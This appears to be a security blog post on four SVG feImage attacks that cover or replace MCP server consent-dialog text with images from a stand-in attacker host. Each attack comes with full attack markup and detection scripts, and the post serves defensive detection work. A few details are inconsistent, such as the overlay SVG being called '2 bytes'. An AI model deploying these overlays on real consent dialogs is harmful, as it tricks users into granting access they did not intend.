← Blog

MCP server SVG feImage external content consent security

Four SA-CSS-FIM consent attack patterns using feImage to load attacker-controlled images into the SVG filter pipeline — overlaying white rectangles or decoy text images over MCP server consent dialogs while CSSOM reports the original text and styles unchanged.

By SkillAudit  |  29 Oct 2026

The SVG feImage filter primitive fetches an external image (raster or SVG) and makes it available as a named result within the filter pipeline. Unlike other primitives that operate on the element being filtered, feImage introduces content from an entirely separate URL. This makes it qualitatively different from other SVG filter consent attacks: the malicious content does not derive from the consent text at all — it is loaded from an attacker-controlled origin and composited over the real consent dialog.

Unique threat model: feImage attacks introduce external content. The consent text is not modified, blurred, or color-shifted — it is physically covered. A scanner that only analyzes the applied SVG filter primitives (feGaussianBlur, feColorMatrix, feComposite) will find nothing wrong with the consent text DOM node itself. The danger is entirely in what feImage fetches and composites over it.

How feImage works in filter pipelines

feImage accepts an href (or the deprecated xlink:href) attribute pointing to an image URL. The image is fetched, decoded, and sized to the filter region (or a specified x/y/width/height subregion). The resulting image data is available as a named result for subsequent filter primitives via their in or in2 attributes. Key behaviors:

/* feImage geometry: defaults to filter region (filterUnits="objectBoundingBox") */
<feImage href="https://attacker.com/overlay.svg" result="ext"/>
/* result "ext" is now an image the same size as the filter canvas,
   populated with whatever overlay.svg renders. */

/* This result can then be used as input to feBlend, feComposite, etc. */
<feBlend in="ext" in2="SourceGraphic" mode="normal"/>
/* When ext is opaque, feBlend normal = ext (SourceGraphic invisible beneath) */

Critically, SVG filters are applied in a separate compositing context. The consent text element’s DOM properties — textContent, color, opacity, visibility — are all unchanged. Only the rendered pixels are replaced. CSSOM-based security scanners see a perfectly normal consent element.

SA-CSS-FIM-001: white rectangle overlay — full consent erasure

The simplest feImage attack loads a solid white SVG rectangle from an attacker-controlled domain and composites it over the consent text using feBlend mode="normal". Because feBlend normal displays the top layer wherever it is opaque, and the attacker’s white SVG is fully opaque across its entire extent, the consent text is completely covered. Contrast: 1.00:1.

<svg style="position:absolute;width:0;height:0" aria-hidden="true">
  <defs>
    <filter id="fim001" color-interpolation-filters="sRGB"
            x="0" y="0" width="1" height="1">
      <!-- Load attacker-controlled white SVG rectangle sized to filter canvas -->
      <feImage href="https://cdn.attacker.com/w.svg" result="cover"/>

      <!-- feBlend normal: wherever cover is opaque, show cover; ignore SourceGraphic -->
      <feBlend in="cover" in2="SourceGraphic" mode="normal"/>
    </filter>
  </defs>
</svg>

<!-- attacker-hosted w.svg (2 bytes of SVG) -->
<!-- <svg xmlns="http://www.w3.org/2000/svg"><rect width="100%" height="100%" fill="white"/></svg> -->

<span style="filter:url(#fim001)">
  Grant this MCP server admin access to all connected tools.
</span>

/* Result: consent text completely covered by white rectangle.
   Rendered: white rectangle where consent text was. Contrast: 1.00:1.

   CSSOM checks:
   getComputedStyle(span).color         → "rgb(17,17,17)"  (original — unchanged)
   getComputedStyle(span).visibility    → "visible"        (unchanged)
   getComputedStyle(span).opacity       → "1"              (unchanged)
   span.textContent                     → "Grant this MCP server admin..." (unchanged)

   All CSSOM-based checks pass. The attack is in the rendered pixels only.

   Detection requires:
   1. Enumerate all feImage elements in filters applied to consent ancestors
   2. Check feImage href — is it a cross-origin URL?
   3. If cross-origin feImage is present, raise CRITICAL finding */

function detectFeImageExternal(consentEl) {
  let el = consentEl;
  while (el && el !== document.body) {
    const filterVal = getComputedStyle(el).filter || el.getAttribute('filter') || '';
    const urlMatch = filterVal.match(/url\(#([^)]+)\)/);
    if (urlMatch) {
      const filterEl = document.getElementById(urlMatch[1]);
      if (filterEl) {
        for (const feImg of filterEl.querySelectorAll('feImage')) {
          const href = feImg.getAttribute('href') || feImg.getAttribute('xlink:href') || '';
          if (href.startsWith('http') || href.startsWith('//')) {
            return {
              risk: 'CRITICAL',
              type: 'feimage-external-overlay',
              href,
              note: 'External image loaded into filter pipeline over consent element'
            };
          }
        }
      }
    }
    el = el.parentElement;
  }
  return null;
}
CRITICAL
SA-CSS-FIM-001 — feImage href to attacker-controlled white SVG + feBlend mode=normal. Consent text covered by opaque white rectangle: 1.00:1 contrast. CSSOM entirely blind. Detection: enumerate feImage elements in consent ancestor filters; flag any cross-origin href.

SA-CSS-FIM-002: decoy text replacement — semantic consent substitution

A more sophisticated variant loads not a blank white rectangle but a look-alike consent SVG that renders nearly-identical text with subtly different (less restrictive) permissions. The attacker hosts an SVG containing text such as “Grant this MCP server read access to current file.” where the real consent reads “Grant this MCP server admin access to all connected tools.” The user reads and consents to the decoy; the actual permission granted is the full admin scope.

<filter id="fim002" color-interpolation-filters="sRGB"
        x="0" y="0" width="1" height="1">
  <!-- Load decoy consent text SVG from attacker origin -->
  <feImage href="https://cdn.attacker.com/decoy-consent.svg" result="decoy"/>

  <!-- feComposite over: decoy on top of SourceGraphic.
       Since decoy SVG has white background (opaque), SourceGraphic is hidden. -->
  <feComposite in="decoy" in2="SourceGraphic" operator="over"/>
</filter>

/* attacker-hosted decoy-consent.svg content:
   <svg xmlns="http://www.w3.org/2000/svg" width="400" height="40">
     <rect width="100%" height="100%" fill="white"/>
     <text x="0" y="20" fill="#111" font-family="system-ui" font-size="14">
       Grant this MCP server read access to current file.
     </text>
   </svg>

   Rendered by user: "Grant this MCP server read access to current file."
   Actual DOM text:  "Grant this MCP server admin access to all connected tools."
   User clicks "I Agree" — grants admin scope based on decoy text.

   Detection:
   - Flag feImage cross-origin href (same as FIM-001)
   - Additionally: Content-Security-Policy img-src without 'self' restriction blocks the fetch
   - CSP also blocks feImage from cross-origin if img-src or default-src is restrictive
   - Audit for CSP headers on consent-hosting pages as defense recommendation */
CRITICAL
SA-CSS-FIM-002 — feImage loads attacker-hosted decoy SVG with reworded (less restrictive) consent text. User reads and confirms decoy; actual broader permission granted. Semantic substitution attack. Detection: cross-origin feImage + CSP audit.

SA-CSS-FIM-003: preconnect-preloaded feImage — evasion of lazy-load detection

A static scanner looking for feImage cross-origin fetches might check network requests at page load. This variant preloads the attacker image silently via <link rel="preconnect"> and <link rel="preload" as="image">, while the feImage itself is initially set to a benign same-origin placeholder image. The malicious href is injected at the moment of consent dialog display via a JavaScript attribute swap. Network scanners see only same-origin fetches at load time; the cross-origin fetch happens later.

<!-- Preload attacker image silently at page startup -->
<link rel="preconnect" href="https://cdn.attacker.com" crossorigin>
<link rel="preload" as="image" href="https://cdn.attacker.com/w.svg">

<!-- Filter initially uses a benign same-origin placeholder -->
<filter id="fim003">
  <feImage id="fim003-img" href="/assets/transparent.svg" result="cover"/>
  <feBlend in="cover" in2="SourceGraphic" mode="normal"/>
</filter>

<script>
/* Swap href to attacker image only when consent dialog is shown */
function showConsentDialog() {
  document.getElementById('fim003-img')
    .setAttribute('href', 'https://cdn.attacker.com/w.svg');
  /* /assets/transparent.svg was a 1px transparent image — no visual effect.
     After swap: attacker white cover loads from browser cache (preloaded). */
  displayConsentDialog();
}
</script>

/* Detection:
   - MutationObserver on feImage href attribute changes
   - Flag: href changes from same-origin to cross-origin at runtime */
const mo = new MutationObserver(muts => {
  for (const m of muts) {
    if (m.attributeName === 'href' || m.attributeName === 'xlink:href') {
      const newHref = m.target.getAttribute('href') || '';
      if (newHref.startsWith('http') || newHref.startsWith('//')) {
        reportFinding('CRITICAL', 'SA-CSS-FIM-003', {
          oldHref: m.oldValue, newHref,
          note: 'feImage href changed to cross-origin at runtime'
        });
      }
    }
  }
});
/* Must observe all SVG filter elements in the document */
document.querySelectorAll('filter feImage').forEach(img =>
  mo.observe(img, { attributes: true, attributeOldValue: true })
);
HIGH
SA-CSS-FIM-003 — feImage href starts same-origin (transparent placeholder); swapped to cross-origin attacker image at consent display time. Preload link pre-warms the cache, so fetch is synchronous. Evades page-load network scanners. Detection: MutationObserver on feImage href attribute.

SA-CSS-FIM-004: JS mousedown href swap — TOCTOU feImage attack

This TOCTOU variant follows the pattern established in other SA-CSS families: the filter is benign during the user’s reading period and becomes malicious at the moment of mousedown on the consent button. The feImage href points to /assets/transparent.svg (a same-origin 1×1 transparent pixel, no visual effect) while the user reads. On mousedown, the href is swapped to the attacker white cover. Because the browser has pre-cached the attacker image from an earlier preload request, the swap is instantaneous.

<svg style="position:absolute;width:0;height:0" aria-hidden="true">
  <defs>
    <filter id="fim004" x="0" y="0" width="1" height="1">
      <feImage id="fim004-img" href="/assets/transparent.svg" result="cover"/>
      <feBlend in="cover" in2="SourceGraphic" mode="normal"/>
    </filter>
  </defs>
</svg>

<span id="consentText" style="filter:url(#fim004)">
  Grant this MCP server write access to your entire file system.
</span>
<button onmousedown="activateFim004()">I Agree</button>

<script>
function activateFim004() {
  /* At mousedown: swap feImage href to attacker cover.
     Image already cached from preload. Render update is sub-frame. */
  document.getElementById('fim004-img')
    .setAttribute('href', 'https://cdn.attacker.com/w.svg');
}
</script>

/* TOCTOU timeline:
   t=0s:   Consent dialog shown. feImage = transparent (no visual effect).
           User reads: "Grant this MCP server write access to your entire file system."
   t=3s:   User moves mouse to "I Agree" button.
   t=3s + mousedown event:
           activateFim004() fires. feImage href = attacker cover.
           Rendered pixels: white rectangle over consent text. (1.00:1)
   t=3s + click event:
           User confirms. Actual permission granted.

   Detection:
   1. MutationObserver on href — fires between mousedown and click
   2. Check: does new href introduce cross-origin content?
   3. If yes: interrupt click or raise CRITICAL finding */
CRITICAL
SA-CSS-FIM-004 — feImage href swapped from transparent placeholder to attacker cover at mousedown. Consent readable during review, covered at click confirmation. Sub-frame TOCTOU window. MutationObserver on feImage href is required for detection.

Summary of SA-CSS-FIM findings

IDSeverityMechanismWCAGEvades
SA-CSS-FIM-001 CRITICAL feImage white SVG overlay + feBlend normal 1.00:1 CSSOM color/opacity/textContent checks
SA-CSS-FIM-002 CRITICAL feImage decoy SVG with reworded consent text N/A (semantic) All CSSOM checks; text legibility scanners
SA-CSS-FIM-003 HIGH Preloaded attacker image; href swapped at dialog show 1.00:1 Page-load network request scanners
SA-CSS-FIM-004 CRITICAL JS mousedown feImage href TOCTOU swap 1.00:1 at click Static analysis, screenshot at rest

Related pages